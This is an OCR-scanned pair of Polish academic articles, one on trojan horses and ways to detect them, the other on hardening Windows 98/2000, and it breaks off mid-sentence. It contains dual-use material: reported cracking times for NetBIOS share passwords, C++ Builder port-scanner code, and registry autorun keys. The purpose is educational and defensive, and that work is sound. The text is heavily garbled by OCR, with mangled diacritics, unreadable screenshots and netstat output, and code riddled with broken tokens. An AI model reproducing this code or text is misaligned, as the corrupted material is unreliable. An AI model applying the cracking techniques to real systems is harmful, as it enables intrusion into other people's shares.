Informacja staje si¢ wigc najpotrzebniejszym, a co za tym idzie i naj-
drozszym produktem wspélczesnego $wiata. Wielkie zainteresowanie
informacja i jej rosnaca warto$¢ spowodowaly gwaltowny rozwoj nowego
typu przestgpstwa, zwanego przesigpsiwem komputerowym. Mianem
przestepstwa komputerowego okresla si¢ szereg rdznorakich niezgodnych
z prawem dzialan majacych na celu zdobycie, zmiang lub zniszczenie
informacji zapisanych na nosnikach danych lub transmitowanych droga
elektroniczna.

Internet, faczac miliony komputerdéw, dat wlamywaczom (ang. hac-
ker) nowe, ogromne pole dzialania. W ciggu ostatnich lat dramatycznie
wzrosla liczba wlaman do systemow komputerowych, systeméw baz
danych oraz kradziezy ,.e-pieniedzy”.

Posréd wielu metod wlamywania si¢ do systeméw komputerowych
1 wykradania informacji konie trojariskie (trojany) zajmuja szczeg6lne
miejsce. Za sprawg ich utajnionego dziatania uzytkownik systemu moze
by¢ catkowicie nie§wiadomy tego, ze kto§ wykrada jego dane, zmienia
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zasady bezpieczenstwa w jego systemie lub, podszywajac si¢ pod niego,
wlamuje si¢ do innego komputera. Trojany majg jeszcze wiele innych
cech, ktére dajg im ogromng przewage nad innymi sposobami atakow.
Sposdb, w jaki dostajg si¢ one do systemu, jest bardzo podstgpny 1 czgsto
nawet do$wiadczeni uzytkownicy komputeréw moga wpuscié trojana do
systemu.

1. Podstawowe informacje o koniach trojanskich

1.1. Definicje koni trojanskich

Czym jest koA trojanski (ang. frojan horse)? Moze on by¢ prawie
wszystkim i robi¢ prawie wszystko. Wedhig najczesciej uzywanej defini-
cii: Ko# trojariski jest programem, ktéry robi wiecej, niz oczekuje od
niego uzytkownik, i te dodatkowe wiasciwosci sq z punktu widzenia uzyt-
kownika niepozqdane [1].

Stowo ,,program” uzyte w powyzszej definicji weale nie musi ozna-
cza¢ wykonywalna aplikacje. Wraz z rozwojem technik informatycznych
rozwinety si¢ bowiem nowe techniki wlamywania do systeméw kompu-
terowych — trojan moze przybra¢ niemal kazda formg. Podstawowe cechy
wszystkich koni trojanskich to:

e podstepne dostawanie si¢ do systemu,

e realizacja funkcji nieznanych uzytkownikowi i przez niego nieakcep-
towanych,

e utajnione dziatanie (czgste podszywanie si¢ pod inne procesy), ktore
utrudnia wykrycie.

1.2. Podzial koni trojanskich ze wzgledu na formeg

Trojan moze by¢ prawie wszystkim, co mozna znalez¢ na dysku kom-
putera. Mozna jednak wyr6zni¢ najczeéciej przyjmowane przez niego formy:
e programy wykonywalne/aplikacje,

e kod podtaczony do licencjonowanego oprogramowania,

o skrypty vbs (Visual Basic Script for Applications) dolaczane do li-
stow i dokumentdw pakietu Microsoft Office,

e skrypty wjezyku JavaScript zawarte w witrynach www,

e  pliki rejestru (*.reg) systeméw Windows 9x/NT.
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Powyzsza lista jest wcigz otwarta, gdyz pisane sg ciagle nowe tro-
jany, ktore mogg przyjmowaé rézne postacie, w zaleznosci od platformy
sprzgtowej 1 systemu operacyjnego.

1.3. Podzial koni trojanskich ze wzgledu na ich dzialanie

Bez wzgledu jednak na to, czym one tak na prawde sa, realizujg pra-
wie zawsze jednakowe lub zblizone do siebie funkcje, ktdre unaocznia
nastgpujacy podzial:

e dowcipne — moga wyswietla¢ obrazki, odgrywa¢ melodie, wyswie-
tla¢ komunikaty, otwiera¢ lub zamyka¢ CD-ROM, drukowa¢ dane
lub w inny sposéb uprzykrzaé zycie uzytkownikowi zainfekowanego
komputera, lecz nie stwarzajg zadnego-realnego zagrozenia z punktu
widzenia ochrony prywatnosci i informacji,

e  szpiegujgce — informujg wlamywacza o poczynaniach uzytkownika
zainfekowanego komputera, np. o odwiedzanych przez niego stro-
nach www, jego kontach e-mailowych, haslach zapisanych w syste-
mie, zainstalowanym oprogramowaniu, lub tez monitorujq klawia-
turg (ang. keylogger) itp.,

e tylne furtki (ang. back door), zwane rOwniez RAT (Remote Admini-
stration Trojans) — najczesciej daja one wlamywaczowi pelny dostep
do zasobéw zainfeckowanego komputera, czyli do twardego dysku,
CD-ROM-u, rejestru systemowego (w wypadku systeméw z rodziny
Windows) oraz umozliwiajg zdalng administracje.

W praktyce konie trojanskie zazwyczaj realizuja jednoczesnie kilka
z wyzej wymienionych funkcji, a nierzadko wszystkie. Glowng cecha
koni trojanskich jest tajne dziatanie (trudne lub niemal niemozliwe do
wykrycia), profesjonalne narzedzia tego typu nie realizujg wigc dowceip-
nych funkcji, mogloby to bowiem wzbudzi¢ uzasadnione podejrzenia
uzytkownika i doprowadzi¢ do wykrycia dzialajacego trojana.

1.4. Sposoby dostawania si¢ koni trojanskich do systemu

Nowe technologie programistyczne umozliwiajg coraz to nowe
sposoby infekcji systeméw. Sposrdd najbardziej znanych sposobow do-
stawania si¢ trojanow do systemu mozemy wymienic:

e  zalgczniki do listéw e-mail,

e dokumenty i aplikacje Sciagane z Internetu,

e dokumenty i programy podrzucane przez wspoluzytkownikéw zaso-
bow lokalnego komputera,
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e oryginalne, licencjonowane oprogramowanie zawierajace (z ré6znych
powoddw, np. zmiany kodu przez hakera, celowe dziatanie firm
softwareowych) w sobie konie trojanskie,

e  strony zawierajace skrypty jezyka JavaScript lub kontrolki ActiveX.
Samo dostanie si¢ do systemu nie jest jeszcze jednoznaczne z infek-

cja. Aby kon mogl zaatakowaé komputer, musi zosta¢ na nim urucho-

miony. Tu wilasnie wida¢ jego podstepnosé. Kon, gdy jest w postaci
wykonywalnej, najczesciej kusi uzytkownika nazwa, ikona lub opisem
dzialania.

1.5. Tryby pracy koni trojanskich
Sposoby dziatania koni trojanskich mozna podzieli¢ na dwa gléwne typy:

e autonomiczny — w momencie aktywacji trojan wykonuje z gory za-
programowane operacje, nie wymagajac zadnych sygnaléw z ze-
wnatrz,

e client-server — trojan tego typu sklada si¢ zazwyczaj z dwoch
plikdw: serwera uruchamianego na komputerze ofiary i klienta, ktory
uruchamiany jest gdzie§ w sieci. Serwer ma zaimplementowane
roznorodne funkcje, jakie moze wykonywaé na zainfekowanym
komputerze. Klient taczy si¢ z serwerem za posrednictwem sieci na
okreslonym porcie, na ktérym nastuchuje serwer. Kiedy zdalny uzyt-
kownik zazgda wykonania jakiej$ funkceji, klient wysyta odpowiednia
komende, kt6ra ma zrealizowaé serwer, i najczgsciej otrzymuje od-
powiedz, czy operacja si¢ powiodia.

1.6. Przyczyny powstawania

1. Zdecydowana wigkszos¢ koni trojanskich powstaje w celu niszczenia
lub wykradania danych. Dowodem na to sg setki mniej lub bardziej
rozbudowanych programoéw dostepnych w sieci, sluzacych wlasnie
do tego celu. Oczywiscie, przyczyny powstawania takich programow
moga by¢ inne:

e wiele komercyjnych firm tworzy ogromne bazy danych, gromadzace
informacje o ludziach korzystajacych z sieci — ich nazwiska, adresy,
konta, hasta, odwiedzane przez nich strony, kupowane za posred-
nictwem sieci produkty. Te informacje pomagaja skierowaé¢ do
wiasciwego adresata reklamy réznorodnych produktow,

e kon trojanski jest idealnym rozwigzaniem do prowadzenia szpiego-
stwa przemystowego,



Analiza programéw ,, konie trojanskie” i metod ich wykrywania 129

e niektorzy (najczesciej miodzi ludzie) dokonuja wiamar do kompute-
réow dla zabawy (sg oni czesto tworcami bardzo groznych koni tro-
janskich, jak réwniez innych metod atakow).

2. Nieznaczna cz¢$é trojandéw pisana jest przez ekspertow od ochrony
danych w celu zlokalizowania dziur w systemach zabezpieczen oraz
wynajdowania nowych sposobdéw zwalczania koni trojanskich.

2. Obrona przed konmi trojanskimi

Istnieje wiele sposobéw na obrone przed konmi trojanskimi, jednak
nalezy pamietaé, ze zaden z nich nie daje catkowitej pewnosci i bezpie-
czenstwa. Zawsze bowiem kto$ znajdzie luke w systemie obronnym, ktéra
mozna wykorzysta¢ do ataku. Mimo to mozemy w znacznym stopniu unie-
mozliwié trojanom ich dzialanie poprzez stosowanie réznych programow.

2.1. Programy antywirusowe

Najogdlniej rzecz biorge, programy antywirusowe analizujg rézne
elementy systemu komputerowego (pamig¢ operacyjna, boot sektory dys-
kéw, pliki), poszukujac dotaczonych do nich wiruséw. Antywirusy majg
bazy danych, ktdre zawieraja charakterystyke poszczegdlnych wirusow,
dzieki czemu moga je zlokalizowaé, a zarazony nimi element wyleczy¢.

Niektore programy antywirusowe maja modul zwany monitorem.
Jego zadaniem jest state monitorowanie pamigci, otwieranych plikéw,
wkladanych dyskietek i sprawdzanie, czy nie sa zainfekowane. Dzigki
temu modutowi program moze nie tylko leczy¢ zainfekowane juz ele-
menty systemu, ale rdwniez uniemozliwi¢ rozprzestrzenianie si¢ Wirusow,
ktére probuja dosta¢ sie do systemu. Zdecydowana wigkszo$¢ antywiru-
séw posiada w swoich bazach réwniez charakterystyki najczgsciej spoty-
kanych koni trojaniskich, dzigki czemu w réwnym stopniu moze walczy¢
z wirusami i z trojanami. Do najbardziej znanych programéw antywiruso-
wych zaliczy¢é mozna:

e  Norton Antyvirus firmy Symantec [4],
e  AntiViral Toolkit Pro (AVP) firmy Kaspersky Lab [2],
e mks vir firmy MKS [3].

2.2. Antytrojany

Antytrojany to nazwa dwoch réznych typow programéw, ktorych
dziatanie bardzo rozni si¢ od siebie. Jednak ze wzgledu na fakt, ze dziata-
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nia obu typéw tych programéw sa wymierzone przeciwko trojanom, obie

grupy otrzymaly takq samg nazwe.
W rzeczywistosci antytrojany to:

a) programy dzialajace na zasadzie programoéw antywirusowych, shu-
zace do wykrywania i usuwania z systemu koni trojanskich,

b) programy symulujace dziatanie serwera konkretnego konia trojan-
skiego, pozwalajace na monitorowanie poczynan wlamywacza
1 przeciwdzialanie im.

2.3. Firewall

Zapora ogniowa (ang. firewall) jest narzedziem shizacym do fil-
trowania pakietéw przychodzacych do komputera i z niego wychodza-
cych. Zapora ma sprecyzowane zasady filtrowania (ang. rules), pod
ktérych katem analizuje kazdy pakiet. W zaleznosci od tego, czy pakiet
spelnia okreslone zasady, firewall moze pakiet przepusci¢ lub go
zablokowa¢. Do zasad, jakimi kieruje si¢ zapora, moga naleze¢:

e adres nadawcy,

e adres odbiorcy,

e ustuga (port),

e aplikacja wysylajaca/odbierajaca pakiet.

Firewall na pewno nie usunie trojana, ale jesli otrzymamy zgloszenie
o prébie polaczenia si¢ do jakiego$ nieznanego programu lub o prébie
wystania przez niego danych bez wyraznej przyczyny, nalezy podejrze-
wac, ze dany program moze by¢ koniem trojanskim. Mozna wtedy prze-
skanowa¢é system antywirusem lub antytrojanem.

2.4. Polecenie systemowe ,,netstat”

Zaréwno systemy z rodziny Windows jak 1 UNIX wyposazone sg
w przydatne narzg¢dzie: komend¢ netstat. Polecenie to wywolane z wier-
sza polecen z parametrem -a (rys. 1) wyswietla liste¢ wszystkich otwar-
tych polaczen. Dzigki tej liScie mozemy zobaczy¢, czy nie jest otwarty
ktérys z czgsto uzywanych przez trojany portéw. Mozemy réwniez
sprawdzi¢, jakie zdalne komputery podlaczone sg do naszego komputera.

Polecenie ,,netstat” nie wykrywa ani nie usuwa koni trojanskich, ale
jesli okaze sig, ze otwarty jest jaki§ podejrzany port, to powinno
zasugerowal mozliwos$¢é zainfekowania systemu trojanem i nakloni¢ do
przeskanowania systemu programem antywirusowym lub antytrojanem.
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CZ\UINDOUS netstat -a

faktywne pokaczenia

Protokol  Adres lokalny
TCP

B
ToP
TEP

TeR

i marjez:1026
“'marjez:1030

marjez:1550
marjez:135
marjez:1030
jez:137
jez:138
jez:nbsession
<4025

je2-1027
=1031

' 'ar)ez 1078

Dbcy adres
MARJEZ:D
MARJEZ:0
MORJEZ:
MORJEZ:
217:112. ki 848074
MARJEZ:D
HRRJF?:H"
MARJEZ 20"
HREJE%:

Stan
LISTENING
LISTENING
LISTENING

LISTEHING - .

ESTABLISHED
LISTERING
LISTENTHG
LISTENING
LISTEHING
LISTEHIHG
LISTEHING

LISTENIHG

3rjez:nbnane = =
narjez:znbdatagran
jezz1031

Rys. 1. Efekt dzialania polecenia netstat

2.5. Sniffer

Sniffer, zwany tez weszycielem, to program do analizy ruchu w sieci.
Za jego pomoca mozemy rejestrowaé wszystkie pakiety, ktore przechodza
przez naszg kartg sieciowa, zaréwno te adresowane do nas, jak i do in-
nych komputeréw w sieci lokalnej. Dzigki tej rejestracji mozemy
w kazdej chwili sprawdzié, z jakiego adresu i jaka tre$é mial pakiet, ktory
trafit do naszego komputera lub z niego wyszedl. To moze nam poméc
w wykryciu polaczenia do trojana zainstalowanego na naszym kompute-
rze, a takze w ustaleniu sprawcy ewentualnego wlamania.

2.6. Monitory rejestru

Rejestr systemowy zawiera klucze, ktére umozliwiaja aplikacjom
automatyczne uruchomienie przy kazdym starcie systemu. Te klucze to:

HKEY LOCAL_MACHINE\Software\
Microsoft\Windows\CurrentVersion\Run

HKEY LOCAL MACHINE\Software\
Microsoft\Windows\CurrentVersion\RunServices

Znaczna czg¢$¢ koni trojanskich uruchamia sie wilasnie dzieki tym
kluczom, dlatego w obronie przed infekcja przydatne moga okazaé sie
monitory rejestru.
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Monitory rejestru mogg dziata¢ wedlug dwoéch zasad:
e stale monitorowaé rejestr, powiadamiajac uzytkownika o kazdej zmianie,
e robié¢ ,zrzuty” rejestru (np. co jakis ustalony czas) i porownywac ko-

lejne zrzuty, wychwytujac wszystkie zmiany.

Monitor rejestru nie usunie trojana, ale dzigki niemu mozemy szybko
dowiedzie¢ sig, jaka aplikacja dodata wpis i kiedy to zrobila. Idac tym
tropem, mozemy znalez¢ program, ktéry moze okazac si¢ trojanem.

2.7. Skanery portéw

Skaner portéw to narzedzie probujace potaczy¢ si¢ ze wszystkimi
portami danego komputera lub tez z portami z podanego przez uzytkow-
nika zakresu, wykrywajace w ten sposob wszystkie nastuchujace serwery.

Skaner moze by¢ uzywany zar6wno jako narzedzie obronne, jak i na-
rzedzie hakerskie:

e  haker moze wykorzysta¢ skaner portéw do sprawdzenia, czy na da-
nym komputerze jest zainstalowany jakis kon trojanski,

e uzytkownik moze wykorzysta¢ skaner w ten sam sposob i do tego
samego celu, jednak efekty wykrycia bgdg na pewno odmienne.

Jesli skaner wykryje jakie§ podejrzane ustugi, to bedzie to znak, ze
mozemy mie¢ trojana. Mozemy wtedy prébowaé zlokalizowa¢ i usunaé
go innymi metodami.

2.8. Programy wielozadaniowe

Oprocz wymienionych narzedzi istnieja takze programy, ktére lacza
w sobie dziatanie kilku réznych programéw. Moze to si¢ okaza¢ bardzo
przydatne. Zamiast uruchamia¢ pig¢ réznych programow, uruchamiamy
tylko jeden, i wszystkie wyniki sa ze soba odpowiednio powigzane. Jed-
nak potencjalnemu trojanowi moze by¢ latwiej wykry¢ 1 unieszkodliwié
jeden program niz kilka na raz. Wybor, czy lepiej uzywacé jednego, czy
wielu programdw, pozostaje w kwestii kazdego uzytkownika.

& % sk

1. Konie trojanskie sg bardzo niebezpiecznymi tworami, poniewaz moga:

e znajdowa¢ si¢ w plikach wykonywalnych, innych plikach (np. *.reg),
dokumentach, witrynach internetowych, zalacznikach do listow
elektronicznych i innych lokalizacjach,

e w podstepny i przebiegly sposob infekowaé systemy komputerowe,
skutecznie maskujac swoje dziatania, aby uniemozliwi¢ ich wykrycie,
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realizowaé wiele réznorodnych funkeji, poczawszy od uprzykrzania

zycia uzytkownikowi — np. wyltaczajac klawiature czy monitor; po-

przez zawieszanie komputera, az do wykradania lub niszczenia in-
formacji zgromadzonych w komputerze ofiary,

niezauwazone przetrwac przez bardzo diugi czas, dokonujac wielu szkod,

nigdy nie zostaé¢ wykryte.

Zdecydowana wigkszo$¢ koni trojanskich powstaje w celu przejmo-

wania kontroli nad innymi komputerami czy tez przechwytywania

réznorakich informacji. Znacznie mniejszg grupe stanowia ,,dobre”
trojany, ktore pisane sg po to, aby testowaé zabezpieczenia systemow
komputerowych i wyszukiwa¢ w nich luk. Konie trojanskie moga

W znaczacy sposdb przyczynié si¢ do zwigkszenia bezpieczenstwa

komputera.

Wielka liczba koni trojanskich w Internecie §wiadczy o:

latwo$ci napisania trojana (przynajmniej tych prymitywniejszych),

duzym zainteresowaniu programami tego typu — wiele 0sob wyko-

rzystuje konie trojanskie do robienia ,,niespodzianek” swoim znajo-
mym; niektdrzy uzywajq ich do groZniejszych celow,

ich dostepnosci — wystarczy wpisaé hasto frojan w dowolnej wyszu-

kiwarce, a natychmiast otrzymamy linki do tysigcy stron zawierajg-

cych trojany i ich opisy.

Mimo ogromnej liczby trojanéw i catego niebezpieczenstwa, jakie ze

soba niosa, nie jeste$my z gory skazani na porazke. Istnieje bowiem

wiele narzedzi, ktére pozwalajg nam na prowadzenie z nimi wyréw-
nanej walki. Nalezg do nich miedzy innymi:

programy antywirusowe,

antytrojany,

firewall-e,

sniffer-y,

monitory rejestru,

skanery portow.

Dzieki zastosowaniu narzedzi wykrywajacych trojany w réznych sta-

diach infekcji mozemy znacznie zwigkszy¢ swe szanse w tej walce:

w momencie dostawania si¢ do systemu:

— monitor programu antywirusowego lub antytrojana, analizujgc
wszystkie pliki, moze wykry¢ trojana i uniemozliwi¢ mu dosta-
nie si¢ do systemu,

w chwili uruchamiania si¢:



134

Marek Jezior

— monitor antywirusa lub antytrojana moze wykry¢ intruza i usu-
ng¢ go, zanim uda mu si¢ uruchomié,

—  monitor rejestru moze wychwyci¢ zmiany w rejestrze w kluczu
Run lub Run Services powodujace automatyczne uruchamianie
aplikaciji,

w trakcie dziatania:

—  firewall moze wychwyci¢ préby komunikacji poprzez sie¢ i za-
blokowad je,

— wylistowanie otwartych portéw (poleceniem ,,netstat”, skanerem
portéw lub w inny sposéb) moze ujawni¢ otwarte przez trojana
porty,

—  sniffer, przechwytujac wszystkie pakiety, moze pomdc nam
w wykryciu dzialajacego trojana i ewentualnych wlamywaczy,

— antywirus i antytrojan moga wykry¢ i usung¢ intruza.

Aby ustrzec si¢ przed trojanami, oprécz stosowania wymienionych

juz narzedzi, nalezy roGwniez pamigtac o:

czestych aktualizacjach baz programéw antywirusowych i antytrojanow,

aktualizacji oprogramowania sieciowego (fatki, Service Pack itp.),

odpowiednich ustawieniach w opcjach internetowych (dla Internet

Explorera),

unikaniu uruchamiania podejrzanych aplikacji,

unikaniu odwiedzania podejrzanych witryn internetowych i pobiera-

nia z nich plikéw,

sprawdzaniu zatacznikéw do listdw za pomocg programow antywiru-

sowych.
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Bezpieczenstwo w Windows 98
i w Windows 2000

Radostaw Biadun

Bezpieczenstwo danych jest bardzo wazne. Na rynku dostepnych jest
wiele programéw podwyzszajacych bezpieczenstwo systemu, ale i one mo-
ga zawies¢, szczegolnie jesli sa to produkty niesprawdzone. Wtedy zostaje
tylko standardowy zesp6l zabezpieczen systemu Windows. Artykut przed-
stawia niektore aspekty bezpieczenstwa systeméw Windows 98/2000.

1. System Windows i sie¢

Bedac w sieci, nalezy wziaé pod uwage, ze w kazdej chwili moze
ktos probowaé ztamaé zabezpieczenia systemu, nawet podczas laczenia
si¢ przez modem. Nalezy wigc odpowiednio skonfigurowaé ustugi dzia-
Tajace w tle, rozpatrzyé, ktére sa konieczne do sprawnego funkcjonowania
systemu, a ktdre mozna wylaczyé. W ten sposéb zmniejszy si¢ ryzyko, ze
wlamywacz skorzysta z jakiej$ ustugi, aby pokonaé¢ zabezpieczenia. Aby
podwyzszy¢ bezpieczenistwo systemu, nalezy przede wszystkim:

1. udostepni¢ najmniej wiadomosci o sobie, firmie i sieci,

2. zabezpieczy¢ porty, wylaczyé niepotrzebne ustugi, jak np. NetBIOS,

3. zabezpieczy¢ komputer fizycznie, poczawszy od BIOS-u, DOS-a',
zakoniczywszy na zaszyfrowaniu waznych danych?,

4. ograniczy¢ prawa innych uzytkownikow do minimum,

5. zainstalowa¢ mozliwe poprawki na system (nalezy przedtem spraw-
dzi¢, czy nowe poprawki nie zawierajg nowych btedow).

' W Windows 2000 zrezygnowano z tego Srodowiska.
? Szyfrowanie danych jest dostepne tylko w systemach NT, a wiec i w Windows 2000.
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Dopiero na koncu nalezy zastanowi¢ si¢ nad wyborem firewall-a czy
IDS (Intrusion Detection System) [1].

Nie nalezy ,,méwi¢” o sobie zbyt duzo, poniewaz wlamywacz moze
zastosowa¢ atak psychologiczny (podajac si¢ np. za administratora lub
dyrektora firmy, ktéry prosi o hasto do danych) [2]. By¢ moze admini-
strator sieci popehil blad, zostawiajac niezabezpieczong jednostke z pu-
stym hastem lub hastem podobnym do nazwy firmy.

Otwarte porty moga réwniez duzo ,,powiedzie¢” o systemie zainsta-
lowanym na komputerze. Moze jest to Windows 98 z otwartym portem
139, woéwezs hasto do zasobow zostanie ztamane. Proces famania takiego
hasta poprzez Netbios polega na prébie logowania si¢ z ,,r6znym” hastem.
Czynno$¢ jest wykonywana do momentu znalezienia hasta. Takie pakiety
wida¢ za pomocg programu typu Sniffer, jak np. program ethereal [5].

Nowsze programy, np. program R3x [6], nie prébuja kazdej kombina-
cji, lecz specjalnego algorytmu opierajacego si¢ na pakietach SYN, ACK.
Dzigki temu wystarczy nz prob, zamiast z” (z — liczba liter w alfabecie, n —
liczba préb). Program R3x ma w sobie duzo narzedzi stuzacych nie tylko
do skanowania, ale i do famania hasel na komputerach z systemem Win-
dows 9x. R3x dostarcza duzo ciekawych informacji, takich jak czas dziala-
nia komputera, nazw¢ komputera, nazwg domeny, w jakiej si¢ znajduje,
w niektérych wypadkach system operacyjny oraz udost¢pnione udzialy.
Program pokazuje rowniez udzialy ukryte (Niektére udzialy mozna ukry¢,
dodajac do nazwy znak “$”, np. PROGRAMYS). Oprécz tego program po-
zwala sprawdzi¢, gdzie dany komputer si¢ znajduje, poprzez wybranie
w opcjach ,,Tools—>Traceroute” (patrz rys. 1 i rys. 2).

Tab. 1. przedstawia wyniki z prob famania hasta. Najbardziej nara-
zone systemy na tego typu atak sag Windows 95/98, choc¢ Zle skonfiguro-
wany system Windows 2000 réwniez poddaje si¢ temu atakowi. Jezeli
zostal udostepniony zasob, to istnieje wysokie prawdopodobienstwo zta-
mania hasta zasobu. Atak nie pozwala jednak na zmiany praw do zasobu.
Oznacza to, ze jesli katalog ,,c:\programy\” zostal udost¢pniony z pra-
wami tylko do odezytu, to wlamywacz, znajac hasto, moze tylko przegla-
dac¢ ten katalog.

Co zrobi¢, aby zabezpieczy¢ si¢ przed taka sytuacja? Nalezy zablo-
kowaé dostep do portow (135-139,445) oraz powylaczaé zbedne uslugi
(przede wszystkim ustuge SMB). W systemie Windows 2000 wylaczenie
NetBios przez TCP/IP nie wystarcza, gdyz zostala jedynie wylaczona
ustuga sesji NetBios dzialajagca na porcie 139 [3]. W systemie Windows
2000 ustuga NetBios powinna by¢ wylaczona na zakladce WINS (wla-
Sciwosci TCP—>Zaawansowane—>WINS), tak jak przedstawia to rys. 3.



Bezpieczenstwo w Windows 98 i w Windows 2000 137
;'. . vc:sil .- ea]
213.77.193.21 [TDK ] (undetemined)
2 213.77.183.51 [PICTREK ) (Windows 9x)
213.77.193.64 [ TYMOSZUK | (undetermined]
----- 21377.19367 { MR.HABER ] windows 9x)

(B NETBIOS names (7)

i3} Usemame : MR.HABER

(&) MAC : 44-4553-54-00-00 {Dial-Up)

- Shares {4)

L3 E
|V 1 Request timed out f
V' 2 213.76.69.1  pfl.lublin.cvx.ppp.tpnet.pl ) 145 ms
|V 3 213255157 (zlub-ail.do.lubr.tpnet.pl ) 111 ms |
1V 4 195.205.0.198  do.lub-ar2.zlub1.tpnet.pl ) 129 ms :
1Vv's 21224424338 120 ms !
|V B 213.77.192.28 ( pa28 bialap.cvs.ppp.tpnet pl ) i
e [Teigel ieached (6 hops)
Rys. 2. Okno programu R3x
pokazujqce liste routeréw posredniczqcych w transmisji
Tab. 1. Wynik uzyskane w prébie tamania hasla — na postawie wlasnych préb
3 : e Dlugos¢ Czas potrzebny
Rodzaj potaczenia Miejsce komputera fiacla do uzyskania hasta
| Karta sieciowa 100MB/s | Komputer w sicci lokalnej | 7 znakéw 7 sekund |
Polaczenic modemowe | Komputer w Polsce 4 znaki 3 minuty
Potaczenie modemowe | Komputer zagranica 5 znakéw 10 minut
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Ustawienia protokotu IP | DNS ~ WINS |Dpcie |

 Adrecy serwerdw WINS w kolejnodel uzycia; —————=——— e e

Dodai.., £ ity I 1z s '

Jesh wypszukiwanie LMHOSTS jest whaczone, dotycezy to wszystkich
potgezen, dla kidiyeh jest whaczony protokdk TCP/IP.

¥ \ifracz wyszukivianie LMHOSTS Importuj LMHOSTS...

™ whacz system NelBIOS przez TCP/P
& wikacz system NatBIOS przez TCPAP
™ Uzyj ustawied systernu NetBIOS z serwera DHCP

oK | Anubg

Rys. 3. Ustawienia protokolu TCP/IP

Do stwierdzenia, jakie porty sg otwarte, wystarczy uzy¢ skanera por-
tow. Dobrym programem skanujgcy porty jest program portscanner [7].
Mozna réwniez napisa¢ wiasny skaner portow, korzystajac z kompilatora
C++ Buildera 5.0 oraz standardowych komponentéw. Whrew pozorom
nie wymaga to duzej wiedzy programistycznej. Jedyna wada tak napisa-
nego skanera bedzie zbyt wolne dzialanie. Na jakiej zasadzie dziata ska-
ner portéw? Otdz jezeli port jest otwarty, to mozna do niego sie podia-
czy¢. Program bedzie prébowat sie podiaczaé do kazdego portu po kolei.

]c: TClientSocket :__I
Pioperties  Evenls !

' OnConnect | cConnect ]
OnConnecting

OnDisconnect

~ Onlookup

Rys. 4. Okno Object Inspector kompilatora C++ Builder 5.0
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Aby przygotowaé taki program, nalezy:
1. utworzy¢ nowsa formatke, na ktdrej sg komponenty:
TClientSocket *c¢; // komponent Client za pomocg ktérego
bedziemy si¢ logowac
TListBox *Lista; //tutaj bedziemy wyswietla¢ otwarte porty
TCGauge *Postep; // postep skanowania
2. wpisac kod do odpowiednich metod:
dla komponentu TClientSocket *¢; w metodzie OnConect
void _ fastecall TForml::cConnect (TObject *Sender,
TCustomWinSocket *Socket}
{Postep->Progress=c->Port; // wskazZnik postepu
char bufor[80}];
sprintf (bufor, "Otwarty port: %d",c->Port});
Lista->Items->Add (bufor);// dodajemy do listy
// wpis portu otwartego
if ((c—>Port<15l1) &&xrob) // port 150 jako ostatni
// port do skanowania
// przeskok na nastepny numer portu
{ c->Active=false;
c->Port++; // nastepny port
c->Active=true;}} // sprdbuj sie podiaczyé
Oraz w metodzie OnError
void _ fastcall TForml::cError (TObject *Sender,
TCustomWinSccket *Socket,
TErrorEvent ErrorEvent, int &ErrorCode)
{ErrorCode=0; Postep->Progress=c->Port;
1f ((c->Port<1l51) &&rob)
{ c->Active=false;
c~>Port++;
c->Active=true;}}
Teraz wystarczy tylko uruchomié caly proces. W tym celu w komponen-
cie przycisku nalezy umiesci¢ nastgpujacy kod:
void _ fastcall TForml::SpeedButton2Click(TObject
*Sender)
{c->Address='192.168.0.1"; // tuta]j ustawilem na
sztywno adres IP.
c->Port=130; // zaczynamy skanowanie od portu=130
c~>Active=true;} // rozpocznij logowanie
Napisany w ten sposob program przeskanuje porty od 130 do 150 na
komputerze o adresie 192.168.0.1.
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2. Rejestr Windows

Rejestr jest centralng bazg danych przeznaczona do przechowywania
w ujednolicony sposob wszystkich informacji konfiguracyjnych systemu
operacyjnego i aplikacji. Zawiera on kompletny zestaw wpisow dotycza-
cych ustawien takich elementéw, jak programy obstugi (sterowniki) urza-
dzen, pamigé czy programy obshugi sieci [4].

Radostaw Biadun

Otwarty port 135
Otwarty poil: 139

e kencia porti Va6 2 T Licaba poriow otwaryeh 21 kiz

Rys. 5. Okno aplikacji skanera portow

Jednym z wazniejszych kluczy pod wzgledem bezpieczenstwa jest
klucz HKEY _LOCAL MACHINE\SOFTWARE:

e HKEY LOCAL MACHINE\SOFTWARE\Microsoft\Windows\

CurrentVersion\Run,

e HKEY LOCAL MACHINE\SOFTWAREWMicrosoft\Windows\

CurrentVersion\RunOnce,

e HKEY LOCAL MACHINE\SOFTWAREMicrosoft\Windows\

CurrentVersion\RunServices,

e HKEY LOCAL_MACHINE\SOFTWAREWMicrosoft\Windows\

CurrentVersion\RunServicesOnce.

Klucze sa wazne, gdyz jezeli nie zostanie do nich zabroniony dostep,
to moze okaza¢ sig, ze podczas startu systemu zostanie uruchomiony inny
program.

Bardzo cickawym kluczem jest klucz

[HKEY CLASSES ROOT\exefile\shell\open\command]
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Za pomoca tego klucza nawet w systemie Windows 95 czy 98 mozna
kontrolowaé, jakie programy zostaty uruchomione. Jest tak dlatego, ze
jezeli program zostaje uruchomiony, to Windows najpierw odwotuje sie
do tego klucza, tak jakby wywolywal go z parametrem, gdzie parametr to
nasz program. Mechanizm polega na uzyciu programu, ktéry pelnitby
funkcje ,,straznika” wywotan plikow. Mechanizm dziatania podany nizej.

PROGRAM
'l
Tak Nie
/
Wykonaj Komunikat o braku dostepu

Jako ,,straznika” nalezy uzy¢ programu, ktérego system bedzie wy-
wolywa¢ z parametrem, np.:

Straznik.exe mem.exe

(mem.exe to wiasnie parametr bedacy tym programem) .

Jest to prosty sposob, aby zabezpieczy¢ whasny system. Kod takiego
programu moze wygladaé nastepujaco:

#include <windows.h>

main (int count, char **arg)

{ i1f (arg[l]) // jezeli jest parametr

// tutaj warunek, czy program ma byc¢
uruchomiony, jezeli tak, to zostanie
wykonana liniag nastepna

// uruchomienie programu

ShellExecute (0, "open", argll], argf2], "", 1);}

Zas w pliku rejestru w kluczu

HKEY CLASSES ROOT\exefile\shell\open\command\

Nalezy ustawi¢ wartosé ciagu ,,(domyslna)”, np.:

"C:\blokada\straznik.exe" "%1"

Mechanizm dziala w Windows 9x oraz 2000. Jedng z wad jest fakt,
ze w Windows 2000 mechanizm mozna omina¢ poprzez uruchamianie
plikéw za pomocg Uruchom jako.

W przeciwienstwie do Windows NT Windows 98 nie udostgpnia
bezpiecznego logowania si¢ wielu uzytkownikéw na konsoli. Pytanie
o hasto mozna pomina¢ za pomocg przycisku Anuluj — system daje mozli-
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wos¢ zalogowania si¢ jako uzytkownik default. Istnieje sposdb zabloko-
